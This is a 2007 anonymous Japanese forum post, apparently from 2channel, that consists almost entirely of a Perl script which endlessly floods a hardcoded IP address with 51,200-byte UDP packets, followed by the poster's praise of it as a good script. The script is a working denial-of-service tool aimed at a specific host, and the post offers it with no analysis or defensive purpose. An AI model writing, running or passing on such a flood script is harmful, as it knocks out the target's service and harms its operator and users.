- 231 名前：名無しさん＠お腹いっぱい。 mailto:sage [2007/01/15(月) 18:59:07 ]
- #!/usr/bin/perl
use Socket;
$ip = "125.30.73.133";
$port = 0xffff;
$dust = "\0" x 51200;
$host = pack_sockaddr_in($port, inet_aton($ip));
socket(SOCKET, PF_INET, SOCK_DGRAM, 0);
for (;;) { send(SOCKET, $dust, 0, $host); }
なんという良スクリプト…
